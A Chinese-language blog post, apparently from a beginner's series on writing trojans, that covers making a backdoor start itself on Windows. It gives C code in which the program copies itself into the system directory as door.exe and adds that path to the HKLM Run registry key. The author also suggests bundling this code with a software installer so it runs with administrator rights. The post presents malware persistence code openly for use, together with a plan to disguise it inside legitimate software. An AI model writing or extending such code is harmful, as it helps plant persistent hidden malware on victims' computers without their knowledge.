当然这只是自启动的代码,一个完整的木马还需要与前面的模板代码结合起来。这种方式实现自启动能否成功,取决于你电脑上杀毒软件的能力,有的强一点的会直接把我们的木马程序删掉,有的则只是提示,还有的甚至不会过多干涉我们这种操作,反而会阻止启动项的删除。
利用注册表指明开机时要运行的程序,利用的最多的是注册表中的 RUN 注册键。
最常用的四条路径如下:
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
现在有了目标,要做的就是需要将我们的木马程序添加到上述路径中。所需的函数如下:
LONG RegOpenKey( // 不成功返回0;成功返回 ERROR_SUCCESS
HKEY hKey, // 要打开的主键名,可以是如 HKEY_USERS 的根键
LPCTSTR IpSubKey, // 指名要打开的子键的路径
DWORD ulOptions, // 保留字段,置0
REGSAM samDesired, // 一个访问掩码,它指定对密钥的期望访问权限
PHKEY phkResult // 指向打开键的句柄
);
LONG RegSetValueEx(
HKEY hKey, // 上一个函数已经打开的句柄
LPCTSTR IpValueName, // 设置的值得名称
DWORD Reserved, // 保留字,不使用
DWORD dwType, // 添加变量的类型,二进制REG_BINARY,32位数字REG_DWORD,字符串REG_SZ
const BYTE* IpData, // 添加变量数据的地址
DWORD cbData // 添加变量的长度
);
现在我们可以打开并创建一个注册表的键值对了,接下来就可以编码了:
// @toc 注册表启动键值
// @author SteveCurcy
// @dev 利用注册表指定开机时要运行的程序,下面给出四个路径
// @dev HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
// @dev HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
// @dev HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
// @dev HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
// @dev 后两个启动之后只运行一次
#include
#include
int main() {
char ExeFile[MAX_PATH], SystemPath[MAX_PATH];
int ret;
// 得到当前文件名
GetModuleFileName(NULL, ExeFile, MAX_PATH);
// 获得系统目录
GetSystemDirectory(SystemPath, MAX_PATH);
strcat(SystemPath, "\\door.exe");
// 拷贝到系统文件夹名为 door.exe
ret = CopyFile(ExeFile, SystemPath, FALSE); // 有同名文件强制覆盖
if ( ret == 0 ) {
printf("Fail!");
return 1;
}
HKEY key;
// 打开注册表 RUN
if ( RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0, KEY_ALL_ACCESS, &key) == ERROR_SUCCESS ) {
// 在 RUN 下建立一个 Test Door 键,值为木马的路径
RegSetValueEx(key, "Test Door", 0, REG_SZ, (BYTE*)SystemPath, strlen(SystemPath));
RegCloseKey(key);
printf("Success");
}
return 0;
}
这种注册标的方式,需要有管理员权限,所以我运行的时候一直是失败的,这一点暂时没有学到如何解决,个人想到的是,把该段代码与某软件绑定到一起,使软件在安装的时候调用这一部分代码实现注册表的修改。这样在软件安装的时候都是需要管理员权限的,这样就可以解决需要管理员权限的问题了。
除了上面说的两种方式以外,实现木马的自启动还有以下方式:
到这里后门编写初探就算是结束了,马上进入的就是后门编写的提高阶段了~ 共同努力,共同进步~ 最后拿"功夫熊猫2"中的一句话与大家共勉,希望一起把握当下,做好自己,别留遗憾~
Your story may not have a happy beginning, but that doesn’t make who you are. It’s the rest of your story, who you choose to be.